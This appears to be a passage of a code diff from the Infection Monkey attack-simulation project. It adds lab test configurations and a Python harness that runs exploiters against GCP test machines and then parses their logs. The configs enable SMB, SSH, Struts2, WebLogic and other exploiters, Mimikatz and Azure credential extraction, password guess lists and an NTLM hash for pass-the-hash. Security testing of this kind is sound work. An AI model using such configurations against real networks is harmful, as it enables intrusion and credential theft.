"monkey_log_path_linux": "/tmp/user-1563",
"monkey_log_path_windows": "%temp%\\~df1563.tmp",
"send_log_to_server": true
}
},
"monkey": {
"behaviour": {
"PBA_linux_filename": "",
"PBA_windows_filename": "",
"custom_PBA_linux_cmd": "",
"custom_PBA_windows_cmd": "",
"self_delete_in_cleanup": true,
"serialize_config": false,
"use_file_logging": true
},
"general": {
"alive": true,
"post_breach_actions": []
},
"life_cycle": {
"max_iterations": 1,
"retry_failed_explotation": true,
"timeout_between_iterations": 100,
"victims_max_exploit": 7,
"victims_max_find": 30
},
"system_info": {
"collect_system_info": true,
"extract_azure_creds": true,
"should_use_mimikatz": true
}
},
"network": {
"ping_scanner": {
"ping_scan_timeout": 1000
},
"tcp_scanner": {
"HTTP_PORTS": [
80,
8080,
443,
8008,
7001
],
"tcp_scan_get_banner": true,
"tcp_scan_interval": 0,
"tcp_scan_timeout": 3000,
"tcp_target_ports": [
22,
2222,
445,
135,
3389,
80,
8080,
443,
8008,
3306,
9200,
7001
]
}
}
}

View File

@ -0,0 +1,192 @@
{
"basic": {
"credentials": {
"exploit_password_list": [
"Password1!",
"12345678",
"^NgDvY59~8"
],
"exploit_user_list": [
"Administrator",
"m0nk3y",
"user"
]
},
"general": {
"should_exploit": true
}
},
"basic_network": {
"general": {
"blocked_ips": [],
"depth": 2,
"local_network_scan": false,
"subnet_scan_list": [
"10.2.2.41",
"10.2.2.42"
]
},
"network_analysis": {
"inaccessible_subnets": []
}
},
"cnc": {
"servers": {
"command_servers": [
"10.2.2.251:5000"
],
"current_server": "10.2.2.251:5000",
"internet_services": [
"monkey.guardicore.com",
"www.google.com"
]
}
},
"exploits": {
"general": {
"exploiter_classes": [
"SmbExploiter",
"WmiExploiter",
"SSHExploiter",
"ShellShockExploiter",
"SambaCryExploiter",
"ElasticGroovyExploiter",
"Struts2Exploiter",
"WebLogicExploiter",
"HadoopExploiter",
"VSFTPDExploiter"
],
"skip_exploit_if_file_exist": false
},
"ms08_067": {
"ms08_067_exploit_attempts": 5,
"remote_user_pass": "Password1!",
"user_to_add": "Monkey_IUSER_SUPPORT"
},
"rdp_grinder": {
"rdp_use_vbs_download": true
},
"sambacry": {
"sambacry_folder_paths_to_guess": [
"/",
"/mnt",
"/tmp",
"/storage",
"/export",
"/share",
"/shares",
"/home"
],
"sambacry_shares_not_to_check": [
"IPC$",
"print$"
],
"sambacry_trigger_timeout": 5
},
"smb_service": {
"smb_download_timeout": 300,
"smb_service_name": "InfectionMonkey"
}
},
"internal": {
"classes": {
"finger_classes": [
"SMBFinger",
"SSHFinger",
"PingScanner",
"HTTPFinger",
"MySQLFinger",
"MSSQLFinger",
"ElasticFinger"
]
},
"dropper": {
"dropper_date_reference_path_linux": "/bin/sh",
"dropper_date_reference_path_windows": "%windir%\\system32\\kernel32.dll",
"dropper_set_date": true,
"dropper_target_path_linux": "/tmp/monkey",
"dropper_target_path_win_32": "C:\\Windows\\temp\\monkey32.exe",
"dropper_target_path_win_64": "C:\\Windows\\temp\\monkey64.exe",
"dropper_try_move_first": true
},
"exploits": {
"exploit_lm_hash_list": [],
"exploit_ntlm_hash_list": [],
"exploit_ssh_keys": []
},
"general": {
"keep_tunnel_open_time": 1,
"monkey_dir_name": "monkey_dir",
"singleton_mutex_name": "{2384ec59-0df8-4ab9-918c-843740924a28}"
},
"kill_file": {
"kill_file_path_linux": "/var/run/monkey.not",
"kill_file_path_windows": "%windir%\\monkey.not"
},
"logging": {
"dropper_log_path_linux": "/tmp/user-1562",
"dropper_log_path_windows": "%temp%\\~df1562.tmp",
"monkey_log_path_linux": "/tmp/user-1563",
"monkey_log_path_windows": "%temp%\\~df1563.tmp",
"send_log_to_server": true
}
},
"monkey": {
"behaviour": {
"PBA_linux_filename": "",
"PBA_windows_filename": "",
"custom_PBA_linux_cmd": "",
"custom_PBA_windows_cmd": "",
"self_delete_in_cleanup": true,
"serialize_config": false,
"use_file_logging": true
},
"general": {
"alive": true,
"post_breach_actions": []
},
"life_cycle": {
"max_iterations": 1,
"retry_failed_explotation": true,
"timeout_between_iterations": 100,
"victims_max_exploit": 7,
"victims_max_find": 30
},
"system_info": {
"collect_system_info": true,
"extract_azure_creds": true,
"should_use_mimikatz": true
}
},
"network": {
"ping_scanner": {
"ping_scan_timeout": 1000
},
"tcp_scanner": {
"HTTP_PORTS": [
80,
8080,
443,
8008,
7001
],
"tcp_scan_get_banner": true,
"tcp_scan_interval": 0,
"tcp_scan_timeout": 3000,
"tcp_target_ports": [
22,
2222,
445,
135,
3389,
80,
8080,
443,
8008,
3306,
9200,
7001
]
}
}
}

View File

@ -0,0 +1,193 @@
{
"basic": {
"credentials": {
"exploit_password_list": [
"Password1!",
"1234",
"password",
"12345678"
],
"exploit_user_list": [
"Administrator",
"root",
"user"
]
},
"general": {
"should_exploit": true
}
},
"basic_network": {
"general": {
"blocked_ips": [],
"depth": 2,
"local_network_scan": false,
"subnet_scan_list": [
"10.2.2.9",
"10.2.2.11"
]
},
"network_analysis": {
"inaccessible_subnets": []
}
},
"cnc": {
"servers": {
"command_servers": [
"10.2.2.251:5000"
],
"current_server": "10.2.2.251:5000",
"internet_services": [
"monkey.guardicore.com",
"www.google.com"
]
}
},
"exploits": {
"general": {
"exploiter_classes": [
"SmbExploiter",
"WmiExploiter",
"SSHExploiter",
"ShellShockExploiter",
"SambaCryExploiter",
"ElasticGroovyExploiter",
"Struts2Exploiter",
"WebLogicExploiter",
"HadoopExploiter",
"VSFTPDExploiter"
],
"skip_exploit_if_file_exist": false
},
"ms08_067": {
"ms08_067_exploit_attempts": 5,
"remote_user_pass": "Password1!",
"user_to_add": "Monkey_IUSER_SUPPORT"
},
"rdp_grinder": {
"rdp_use_vbs_download": true
},
"sambacry": {
"sambacry_folder_paths_to_guess": [
"/",
"/mnt",
"/tmp",
"/storage",
"/export",
"/share",
"/shares",
"/home"
],
"sambacry_shares_not_to_check": [
"IPC$",
"print$"
],
"sambacry_trigger_timeout": 5
},
"smb_service": {
"smb_download_timeout": 300,
"smb_service_name": "InfectionMonkey"
}
},
"internal": {
"classes": {
"finger_classes": [
"SMBFinger",
"SSHFinger",
"PingScanner",
"HTTPFinger",
"MySQLFinger",
"MSSQLFinger",
"ElasticFinger"
]
},
"dropper": {
"dropper_date_reference_path_linux": "/bin/sh",
"dropper_date_reference_path_windows": "%windir%\\system32\\kernel32.dll",
"dropper_set_date": true,
"dropper_target_path_linux": "/tmp/monkey",
"dropper_target_path_win_32": "C:\\Windows\\temp\\monkey32.exe",
"dropper_target_path_win_64": "C:\\Windows\\temp\\monkey64.exe",
"dropper_try_move_first": true
},
"exploits": {
"exploit_lm_hash_list": [],
"exploit_ntlm_hash_list": [],
"exploit_ssh_keys": []
},
"general": {
"keep_tunnel_open_time": 1,
"monkey_dir_name": "monkey_dir",
"singleton_mutex_name": "{2384ec59-0df8-4ab9-918c-843740924a28}"
},
"kill_file": {
"kill_file_path_linux": "/var/run/monkey.not",
"kill_file_path_windows": "%windir%\\monkey.not"
},
"logging": {
"dropper_log_path_linux": "/tmp/user-1562",
"dropper_log_path_windows": "%temp%\\~df1562.tmp",
"monkey_log_path_linux": "/tmp/user-1563",
"monkey_log_path_windows": "%temp%\\~df1563.tmp",
"send_log_to_server": true
}
},
"monkey": {
"behaviour": {
"PBA_linux_filename": "",
"PBA_windows_filename": "",
"custom_PBA_linux_cmd": "",
"custom_PBA_windows_cmd": "",
"self_delete_in_cleanup": true,
"serialize_config": false,
"use_file_logging": true
},
"general": {
"alive": true,
"post_breach_actions": []
},
"life_cycle": {
"max_iterations": 1,
"retry_failed_explotation": true,
"timeout_between_iterations": 100,
"victims_max_exploit": 7,
"victims_max_find": 30
},
"system_info": {
"collect_system_info": true,
"extract_azure_creds": true,
"should_use_mimikatz": true
}
},
"network": {
"ping_scanner": {
"ping_scan_timeout": 1000
},
"tcp_scanner": {
"HTTP_PORTS": [
80,
8080,
443,
8008,
7001
],
"tcp_scan_get_banner": true,
"tcp_scan_interval": 0,
"tcp_scan_timeout": 3000,
"tcp_target_ports": [
22,
2222,
445,
135,
3389,
80,
8080,
443,
8008,
3306,
9200,
7001
]
}
}
}

View File

@ -0,0 +1,194 @@
{
"basic": {
"credentials": {
"exploit_password_list": [
"Password1!",
"3Q=(Ge(+&w]*",
"`))jU7L(w}",
"12345678"
],
"exploit_user_list": [
"Administrator",
"m0nk3y",
"user"
]
},
"general": {
"should_exploit": true
}
},
"basic_network": {
"general": {
"blocked_ips": [],
"depth": 3,
"local_network_scan": false,
"subnet_scan_list": [
"10.2.2.32",
"10.2.1.10",
"10.2.0.11"
]
},
"network_analysis": {
"inaccessible_subnets": []
}
},
"cnc": {
"servers": {
"command_servers": [
"10.2.2.251:5000"
],
"current_server": "10.2.2.251:5000",
"internet_services": [
"monkey.guardicore.com",
"www.google.com"
]
}
},
"exploits": {
"general": {
"exploiter_classes": [
"SmbExploiter",
"WmiExploiter",
"SSHExploiter",
"ShellShockExploiter",
"SambaCryExploiter",
"ElasticGroovyExploiter",
"Struts2Exploiter",
"WebLogicExploiter",
"HadoopExploiter",
"VSFTPDExploiter"
],
"skip_exploit_if_file_exist": false
},
"ms08_067": {
"ms08_067_exploit_attempts": 5,
"remote_user_pass": "Password1!",
"user_to_add": "Monkey_IUSER_SUPPORT"
},
"rdp_grinder": {
"rdp_use_vbs_download": true
},
"sambacry": {
"sambacry_folder_paths_to_guess": [
"/",
"/mnt",
"/tmp",
"/storage",
"/export",
"/share",
"/shares",
"/home"
],
"sambacry_shares_not_to_check": [
"IPC$",
"print$"
],
"sambacry_trigger_timeout": 5
},
"smb_service": {
"smb_download_timeout": 300,
"smb_service_name": "InfectionMonkey"
}
},
"internal": {
"classes": {
"finger_classes": [
"SMBFinger",
"SSHFinger",
"PingScanner",
"HTTPFinger",
"MySQLFinger",
"MSSQLFinger",
"ElasticFinger"
]
},
"dropper": {
"dropper_date_reference_path_linux": "/bin/sh",
"dropper_date_reference_path_windows": "%windir%\\system32\\kernel32.dll",
"dropper_set_date": true,
"dropper_target_path_linux": "/tmp/monkey",
"dropper_target_path_win_32": "C:\\Windows\\temp\\monkey32.exe",
"dropper_target_path_win_64": "C:\\Windows\\temp\\monkey64.exe",
"dropper_try_move_first": true
},
"exploits": {
"exploit_lm_hash_list": [],
"exploit_ntlm_hash_list": [],
"exploit_ssh_keys": []
},
"general": {
"keep_tunnel_open_time": 60,
"monkey_dir_name": "monkey_dir",
"singleton_mutex_name": "{2384ec59-0df8-4ab9-918c-843740924a28}"
},
"kill_file": {
"kill_file_path_linux": "/var/run/monkey.not",
"kill_file_path_windows": "%windir%\\monkey.not"
},
"logging": {
"dropper_log_path_linux": "/tmp/user-1562",
"dropper_log_path_windows": "%temp%\\~df1562.tmp",
"monkey_log_path_linux": "/tmp/user-1563",
"monkey_log_path_windows": "%temp%\\~df1563.tmp",
"send_log_to_server": true
}
},
"monkey": {
"behaviour": {
"PBA_linux_filename": "",
"PBA_windows_filename": "",
"custom_PBA_linux_cmd": "",
"custom_PBA_windows_cmd": "",
"self_delete_in_cleanup": true,
"serialize_config": false,
"use_file_logging": true
},
"general": {
"alive": true,
"post_breach_actions": []
},
"life_cycle": {
"max_iterations": 1,
"retry_failed_explotation": true,
"timeout_between_iterations": 100,
"victims_max_exploit": 7,
"victims_max_find": 30
},
"system_info": {
"collect_system_info": true,
"extract_azure_creds": true,
"should_use_mimikatz": true
}
},
"network": {
"ping_scanner": {
"ping_scan_timeout": 1000
},
"tcp_scanner": {
"HTTP_PORTS": [
80,
8080,
443,
8008,
7001
],
"tcp_scan_get_banner": true,
"tcp_scan_interval": 0,
"tcp_scan_timeout": 3000,
"tcp_target_ports": [
22,
2222,
445,
135,
3389,
80,
8080,
443,
8008,
3306,
9200,
7001
]
}
}
}

View File

@ -0,0 +1,184 @@
{
"basic": {
"credentials": {
"exploit_password_list": [
"Password1!",
"1234",
"password",
"12345678"
],
"exploit_user_list": [
"Administrator",
"root",
"user"
]
},
"general": {
"should_exploit": true
}
},
"basic_network": {
"general": {
"blocked_ips": [],
"depth": 2,
"local_network_scan": false,
"subnet_scan_list": [
"10.2.2.18",
"10.2.2.19"
]
},
"network_analysis": {
"inaccessible_subnets": []
}
},
"cnc": {
"servers": {
"command_servers": [
"10.2.2.251:5000"
],
"current_server": "10.2.2.251:5000",
"internet_services": [
"monkey.guardicore.com",
"www.google.com"
]
}
},
"exploits": {
"general": {
"exploiter_classes": [
"WebLogicExploiter"
],
"skip_exploit_if_file_exist": false
},
"ms08_067": {
"ms08_067_exploit_attempts": 5,
"remote_user_pass": "Password1!",
"user_to_add": "Monkey_IUSER_SUPPORT"
},
"rdp_grinder": {
"rdp_use_vbs_download": true
},
"sambacry": {
"sambacry_folder_paths_to_guess": [
"/",
"/mnt",
"/tmp",
"/storage",
"/export",
"/share",
"/shares",
"/home"
],
"sambacry_shares_not_to_check": [
"IPC$",
"print$"
],
"sambacry_trigger_timeout": 5
},
"smb_service": {
"smb_download_timeout": 300,
"smb_service_name": "InfectionMonkey"
}
},
"internal": {
"classes": {
"finger_classes": [
"SMBFinger",
"SSHFinger",
"PingScanner",
"HTTPFinger",
"MySQLFinger",
"MSSQLFinger",
"ElasticFinger"
]
},
"dropper": {
"dropper_date_reference_path_linux": "/bin/sh",
"dropper_date_reference_path_windows": "%windir%\\system32\\kernel32.dll",
"dropper_set_date": true,
"dropper_target_path_linux": "/tmp/monkey",
"dropper_target_path_win_32": "C:\\Windows\\temp\\monkey32.exe",
"dropper_target_path_win_64": "C:\\Windows\\temp\\monkey64.exe",
"dropper_try_move_first": true
},
"exploits": {
"exploit_lm_hash_list": [],
"exploit_ntlm_hash_list": [],
"exploit_ssh_keys": []
},
"general": {
"keep_tunnel_open_time": 1,
"monkey_dir_name": "monkey_dir",
"singleton_mutex_name": "{2384ec59-0df8-4ab9-918c-843740924a28}"
},
"kill_file": {
"kill_file_path_linux": "/var/run/monkey.not",
"kill_file_path_windows": "%windir%\\monkey.not"
},
"logging": {
"dropper_log_path_linux": "/tmp/user-1562",
"dropper_log_path_windows": "%temp%\\~df1562.tmp",
"monkey_log_path_linux": "/tmp/user-1563",
"monkey_log_path_windows": "%temp%\\~df1563.tmp",
"send_log_to_server": true
}
},
"monkey": {
"behaviour": {
"PBA_linux_filename": "",
"PBA_windows_filename": "",
"custom_PBA_linux_cmd": "",
"custom_PBA_windows_cmd": "",
"self_delete_in_cleanup": true,
"serialize_config": false,
"use_file_logging": true
},
"general": {
"alive": true,
"post_breach_actions": []
},
"life_cycle": {
"max_iterations": 1,
"retry_failed_explotation": true,
"timeout_between_iterations": 100,
"victims_max_exploit": 7,
"victims_max_find": 30
},
"system_info": {
"collect_system_info": true,
"extract_azure_creds": true,
"should_use_mimikatz": true
}
},
"network": {
"ping_scanner": {
"ping_scan_timeout": 1000
},
"tcp_scanner": {
"HTTP_PORTS": [
80,
8080,
443,
8008,
7001
],
"tcp_scan_get_banner": true,
"tcp_scan_interval": 0,
"tcp_scan_timeout": 3000,
"tcp_target_ports": [
22,
2222,
445,
135,
3389,
80,
8080,
443,
8008,
3306,
9200,
7001
]
}
}
}

View File

@ -0,0 +1,190 @@
{
"basic": {
"credentials": {
"exploit_password_list": [
"Password1!",
"Ivrrw5zEzs"
],
"exploit_user_list": [
"Administrator",
"m0nk3y",
"user"
]
},
"general": {
"should_exploit": true
}
},
"basic_network": {
"general": {
"blocked_ips": [],
"depth": 2,
"local_network_scan": false,
"subnet_scan_list": [
"10.2.2.44",
"10.2.2.15"
]
},
"network_analysis": {
"inaccessible_subnets": []
}
},
"cnc": {
"servers": {
"command_servers": [
"10.2.2.251:5000"
],
"current_server": "10.2.2.251:5000",
"internet_services": [
"monkey.guardicore.com",
"www.google.com"
]
}
},
"exploits": {
"general": {
"exploiter_classes": [
"WmiExploiter",
"SSHExploiter",
"ShellShockExploiter",
"SambaCryExploiter",
"ElasticGroovyExploiter",
"Struts2Exploiter",
"WebLogicExploiter",
"HadoopExploiter",
"VSFTPDExploiter"
],
"skip_exploit_if_file_exist": false
},
"ms08_067": {
"ms08_067_exploit_attempts": 5,
"remote_user_pass": "Password1!",
"user_to_add": "Monkey_IUSER_SUPPORT"
},
"rdp_grinder": {
"rdp_use_vbs_download": true
},
"sambacry": {
"sambacry_folder_paths_to_guess": [
"/",
"/mnt",
"/tmp",
"/storage",
"/export",
"/share",
"/shares",
"/home"
],
"sambacry_shares_not_to_check": [
"IPC$",
"print$"
],
"sambacry_trigger_timeout": 5
},
"smb_service": {
"smb_download_timeout": 300,
"smb_service_name": "InfectionMonkey"
}
},
"internal": {
"classes": {
"finger_classes": [
"SMBFinger",
"SSHFinger",
"PingScanner",
"HTTPFinger",
"MySQLFinger",
"MSSQLFinger",
"ElasticFinger"
]
},
"dropper": {
"dropper_date_reference_path_linux": "/bin/sh",
"dropper_date_reference_path_windows": "%windir%\\system32\\kernel32.dll",
"dropper_set_date": true,
"dropper_target_path_linux": "/tmp/monkey",
"dropper_target_path_win_32": "C:\\Windows\\temp\\monkey32.exe",
"dropper_target_path_win_64": "C:\\Windows\\temp\\monkey64.exe",
"dropper_try_move_first": true
},
"exploits": {
"exploit_lm_hash_list": [],
"exploit_ntlm_hash_list": [],
"exploit_ssh_keys": []
},
"general": {
"keep_tunnel_open_time": 1,
"monkey_dir_name": "monkey_dir",
"singleton_mutex_name": "{2384ec59-0df8-4ab9-918c-843740924a28}"
},
"kill_file": {
"kill_file_path_linux": "/var/run/monkey.not",
"kill_file_path_windows": "%windir%\\monkey.not"
},
"logging": {
"dropper_log_path_linux": "/tmp/user-1562",
"dropper_log_path_windows": "%temp%\\~df1562.tmp",
"monkey_log_path_linux": "/tmp/user-1563",
"monkey_log_path_windows": "%temp%\\~df1563.tmp",
"send_log_to_server": true
}
},
"monkey": {
"behaviour": {
"PBA_linux_filename": "",
"PBA_windows_filename": "",
"custom_PBA_linux_cmd": "",
"custom_PBA_windows_cmd": "",
"self_delete_in_cleanup": true,
"serialize_config": false,
"use_file_logging": true
},
"general": {
"alive": true,
"post_breach_actions": []
},
"life_cycle": {
"max_iterations": 1,
"retry_failed_explotation": true,
"timeout_between_iterations": 100,
"victims_max_exploit": 7,
"victims_max_find": 30
},
"system_info": {
"collect_system_info": true,
"extract_azure_creds": true,
"should_use_mimikatz": true
}
},
"network": {
"ping_scanner": {
"ping_scan_timeout": 1000
},
"tcp_scanner": {
"HTTP_PORTS": [
80,
8080,
443,
8008,
7001
],
"tcp_scan_get_banner": true,
"tcp_scan_interval": 0,
"tcp_scan_timeout": 3000,
"tcp_target_ports": [
22,
2222,
445,
135,
3389,
80,
8080,
443,
8008,
3306,
9200,
7001
]
}
}
}

View File

@ -0,0 +1,188 @@
{
"basic": {
"credentials": {
"exploit_password_list": [
"Password1!"
],
"exploit_user_list": [
"Administrator",
"m0nk3y",
"user"
]
},
"general": {
"should_exploit": true
}
},
"basic_network": {
"general": {
"blocked_ips": [],
"depth": 2,
"local_network_scan": false,
"subnet_scan_list": [
"10.2.2.15"
]
},
"network_analysis": {
"inaccessible_subnets": []
}
},
"cnc": {
"servers": {
"command_servers": [
"10.2.2.251:5000"
],
"current_server": "10.2.2.251:5000",
"internet_services": [
"monkey.guardicore.com",
"www.google.com"
]
}
},
"exploits": {
"general": {
"exploiter_classes": [
"WmiExploiter",
"SSHExploiter",
"ShellShockExploiter",
"SambaCryExploiter",
"ElasticGroovyExploiter",
"Struts2Exploiter",
"WebLogicExploiter",
"HadoopExploiter",
"VSFTPDExploiter"
],
"skip_exploit_if_file_exist": false
},
"ms08_067": {
"ms08_067_exploit_attempts": 5,
"remote_user_pass": "Password1!",
"user_to_add": "Monkey_IUSER_SUPPORT"
},
"rdp_grinder": {
"rdp_use_vbs_download": true
},
"sambacry": {
"sambacry_folder_paths_to_guess": [
"/",
"/mnt",
"/tmp",
"/storage",
"/export",
"/share",
"/shares",
"/home"
],
"sambacry_shares_not_to_check": [
"IPC$",
"print$"
],
"sambacry_trigger_timeout": 5
},
"smb_service": {
"smb_download_timeout": 300,
"smb_service_name": "InfectionMonkey"
}
},
"internal": {
"classes": {
"finger_classes": [
"SMBFinger",
"SSHFinger",
"PingScanner",
"HTTPFinger",
"MySQLFinger",
"MSSQLFinger",
"ElasticFinger"
]
},
"dropper": {
"dropper_date_reference_path_linux": "/bin/sh",
"dropper_date_reference_path_windows": "%windir%\\system32\\kernel32.dll",
"dropper_set_date": true,
"dropper_target_path_linux": "/tmp/monkey",
"dropper_target_path_win_32": "C:\\Windows\\temp\\monkey32.exe",
"dropper_target_path_win_64": "C:\\Windows\\temp\\monkey64.exe",
"dropper_try_move_first": true
},
"exploits": {
"exploit_lm_hash_list": [],
"exploit_ntlm_hash_list": [ "f7e457346f7743daece17258667c936d" ],
"exploit_ssh_keys": []
},
"general": {
"keep_tunnel_open_time": 1,
"monkey_dir_name": "monkey_dir",
"singleton_mutex_name": "{2384ec59-0df8-4ab9-918c-843740924a28}"
},
"kill_file": {
"kill_file_path_linux": "/var/run/monkey.not",
"kill_file_path_windows": "%windir%\\monkey.not"
},
"logging": {
"dropper_log_path_linux": "/tmp/user-1562",
"dropper_log_path_windows": "%temp%\\~df1562.tmp",
"monkey_log_path_linux": "/tmp/user-1563",
"monkey_log_path_windows": "%temp%\\~df1563.tmp",
"send_log_to_server": true
}
},
"monkey": {
"behaviour": {
"PBA_linux_filename": "",
"PBA_windows_filename": "",
"custom_PBA_linux_cmd": "",
"custom_PBA_windows_cmd": "",
"self_delete_in_cleanup": true,
"serialize_config": false,
"use_file_logging": true
},
"general": {
"alive": true,
"post_breach_actions": []
},
"life_cycle": {
"max_iterations": 1,
"retry_failed_explotation": true,
"timeout_between_iterations": 100,
"victims_max_exploit": 7,
"victims_max_find": 30
},
"system_info": {
"collect_system_info": true,
"extract_azure_creds": true,
"should_use_mimikatz": true
}
},
"network": {
"ping_scanner": {
"ping_scan_timeout": 1000
},
"tcp_scanner": {
"HTTP_PORTS": [
80,
8080,
443,
8008,
7001
],
"tcp_scan_get_banner": true,
"tcp_scan_interval": 0,
"tcp_scan_timeout": 3000,
"tcp_target_ports": [
22,
2222,
445,
135,
3389,
80,
8080,
443,
8008,
3306,
9200,
7001
]
}
}
}

View File

@ -0,0 +1,38 @@
import os
import logging
from bson import ObjectId
LOGGER = logging.getLogger(__name__)
class MonkeyLog(object):
def __init__(self, monkey, log_dir_path):
self.monkey = monkey
self.log_dir_path = log_dir_path
def download_log(self, island_client):
log = island_client.find_log_in_db({'monkey_id': ObjectId(self.monkey['id'])})
if not log:
LOGGER.error("Log for monkey {} not found".format(self.monkey['ip_addresses'][0]))
return False
else:
self.write_log_to_file(log)
return True
def write_log_to_file(self, log):
with open(self.get_log_path_for_monkey(self.monkey), 'w') as log_file:
log_file.write(MonkeyLog.parse_log(log))
@staticmethod
def parse_log(log):
log = log.strip('"')
log = log.replace("\\n", "\n ")
return log
@staticmethod
def get_filename_for_monkey_log(monkey):
return "{}.txt".format(monkey['ip_addresses'][0])
def get_log_path_for_monkey(self, monkey):
return os.path.join(self.log_dir_path, MonkeyLog.get_filename_for_monkey_log(monkey))

View File

@ -0,0 +1,43 @@
import logging
import re
LOGGER = logging.getLogger(__name__)
class MonkeyLogParser(object):
def __init__(self, log_path):
self.log_path = log_path
self.log_contents = self.read_log()
def read_log(self):
with open(self.log_path, 'r') as log:
return log.read()
def print_errors(self):
errors = MonkeyLogParser.get_errors(self.log_contents)
if len(errors) > 0:
LOGGER.info("Found {} errors:".format(len(errors)))
for index, error_line in enumerate(errors):
LOGGER.info("Err #{}: {}".format(index, error_line))
else:
LOGGER.info("No errors!")
@staticmethod
def get_errors(log_contents):
searcher = re.compile(r"^.*:ERROR].*$", re.MULTILINE)
return searcher.findall(log_contents)
def print_warnings(self):
warnings = MonkeyLogParser.get_warnings(self.log_contents)
if len(warnings) > 0:
LOGGER.info("Found {} warnings:".format(len(warnings)))
for index, warning_line in enumerate(warnings):
LOGGER.info("Warn #{}: {}".format(index, warning_line))
else:
LOGGER.info("No warnings!")
@staticmethod
def get_warnings(log_contents):
searcher = re.compile(r"^.*:WARNING].*$", re.MULTILINE)
return searcher.findall(log_contents)

View File

@ -0,0 +1,26 @@
import logging
from envs.monkey_zoo.blackbox.log_handlers.monkey_log import MonkeyLog
LOGGER = logging.getLogger(__name__)
class MonkeyLogsDownloader(object):
def __init__(self, island_client, log_dir_path):
self.island_client = island_client
self.log_dir_path = log_dir_path
self.monkey_log_paths = []
def download_monkey_logs(self):
LOGGER.info("Downloading each monkey log.")
all_monkeys = self.island_client.get_all_monkeys_from_db()
for monkey in all_monkeys:
downloaded_log_path = self._download_monkey_log(monkey)
if downloaded_log_path:
self.monkey_log_paths.append(downloaded_log_path)
def _download_monkey_log(self, monkey):
log_handler = MonkeyLog(monkey, self.log_dir_path)
download_successful = log_handler.download_log(self.island_client)
return log_handler.get_log_path_for_monkey(monkey) if download_successful else None

View File

@ -0,0 +1,50 @@
import os
import shutil
import logging
from envs.monkey_zoo.blackbox.log_handlers.monkey_log_parser import MonkeyLogParser
from envs.monkey_zoo.blackbox.log_handlers.monkey_logs_downloader import MonkeyLogsDownloader
LOG_DIR_NAME = 'logs'
LOGGER = logging.getLogger(__name__)
class TestLogsHandler(object):
def __init__(self, test_name, island_client, log_dir_path):
self.test_name = test_name
self.island_client = island_client
self.log_dir_path = os.path.join(log_dir_path, self.test_name)
def parse_test_logs(self):
log_paths = self.download_logs()
if not log_paths:
LOGGER.error("No logs were downloaded. Maybe no monkeys were ran "
"or early exception prevented log download?")
return
TestLogsHandler.parse_logs(log_paths)
def download_logs(self):
self.try_create_log_dir_for_test()
downloader = MonkeyLogsDownloader(self.island_client, self.log_dir_path)
downloader.download_monkey_logs()
return downloader.monkey_log_paths
def try_create_log_dir_for_test(self):
try:
os.mkdir(self.log_dir_path)
except Exception as e:
LOGGER.error("Can't create a dir for test logs: {}".format(e))
@staticmethod
def delete_log_folder_contents(log_dir_path):
shutil.rmtree(log_dir_path, ignore_errors=True)
os.mkdir(log_dir_path)
@staticmethod
def parse_logs(log_paths):
for log_path in log_paths:
LOGGER.info("Info from log at {}".format(log_path))
log_parser = MonkeyLogParser(log_path)
log_parser.print_errors()
log_parser.print_warnings()

View File

@ -0,0 +1,5 @@
[pytest]
log_cli = 1
log_cli_level = INFO
log_cli_format = %(asctime)s [%(levelname)s] %(module)s.%(funcName)s.%(lineno)d: %(message)s
log_cli_date_format=%H:%M:%S

View File

@ -0,0 +1,2 @@
pytest
unittest

View File

@ -0,0 +1,110 @@
import os
import logging
import pytest
from time import sleep
from envs.monkey_zoo.blackbox.island_client.monkey_island_client import MonkeyIslandClient
from envs.monkey_zoo.blackbox.analyzers.communication_analyzer import CommunicationAnalyzer
from envs.monkey_zoo.blackbox.island_client.island_config_parser import IslandConfigParser
from envs.monkey_zoo.blackbox.utils import gcp_machine_handlers
from envs.monkey_zoo.blackbox.tests.basic_test import BasicTest
from envs.monkey_zoo.blackbox.log_handlers.test_logs_handler import TestLogsHandler
DEFAULT_TIMEOUT_SECONDS = 5*60
MACHINE_BOOTUP_WAIT_SECONDS = 30
GCP_TEST_MACHINE_LIST = ['sshkeys-11', 'sshkeys-12', 'elastic-4', 'elastic-5', 'haddop-2-v3', 'hadoop-3', 'mssql-16',
'mimikatz-14', 'mimikatz-15', 'final-test-struts2-23', 'final-test-struts2-24',
'tunneling-9', 'tunneling-10', 'tunneling-11', 'weblogic-18', 'weblogic-19', 'shellshock-8']
LOG_DIR_PATH = "./logs"
LOGGER = logging.getLogger(__name__)
@pytest.fixture(autouse=True, scope='session')
def GCPHandler(request):
GCPHandler = gcp_machine_handlers.GCPHandler()
GCPHandler.start_machines(" ".join(GCP_TEST_MACHINE_LIST))
wait_machine_bootup()
def fin():
GCPHandler.stop_machines(" ".join(GCP_TEST_MACHINE_LIST))
request.addfinalizer(fin)
@pytest.fixture(autouse=True, scope='session')
def delete_logs():
LOGGER.info("Deleting monkey logs before new tests.")
TestLogsHandler.delete_log_folder_contents(TestMonkeyBlackbox.get_log_dir_path())
def wait_machine_bootup():
sleep(MACHINE_BOOTUP_WAIT_SECONDS)
@pytest.fixture(scope='class')
def island_client(island):
island_client_object = MonkeyIslandClient(island)
island_client_object.reset_env()
yield island_client_object
@pytest.mark.usefixtures('island_client')
# noinspection PyUnresolvedReferences
class TestMonkeyBlackbox(object):
@staticmethod
def run_basic_test(island_client, conf_filename, test_name, timeout_in_seconds=DEFAULT_TIMEOUT_SECONDS):
config_parser = IslandConfigParser(conf_filename)
analyzer = CommunicationAnalyzer(island_client, config_parser.get_ips_of_targets())
log_handler = TestLogsHandler(test_name, island_client, TestMonkeyBlackbox.get_log_dir_path())
BasicTest(test_name,
island_client,
config_parser,
[analyzer],
timeout_in_seconds,
log_handler).run()
@staticmethod
def get_log_dir_path():
return os.path.abspath(LOG_DIR_PATH)
def test_server_online(self, island_client):
assert island_client.get_api_status() is not None
def test_ssh_exploiter(self, island_client):
TestMonkeyBlackbox.run_basic_test(island_client, "SSH.conf", "SSH_exploiter_and_keys")
def test_hadoop_exploiter(self, island_client):
TestMonkeyBlackbox.run_basic_test(island_client, "HADOOP.conf", "Hadoop_exploiter", 6*60)
def test_mssql_exploiter(self, island_client):
TestMonkeyBlackbox.run_basic_test(island_client, "MSSQL.conf", "MSSQL_exploiter")
def test_smb_and_mimikatz_exploiters(self, island_client):
TestMonkeyBlackbox.run_basic_test(island_client, "SMB_MIMIKATZ.conf", "SMB_exploiter_mimikatz")
def test_smb_pth(self, island_client):
TestMonkeyBlackbox.run_basic_test(island_client, "SMB_PTH.conf", "SMB_PTH")
def test_elastic_exploiter(self, island_client):
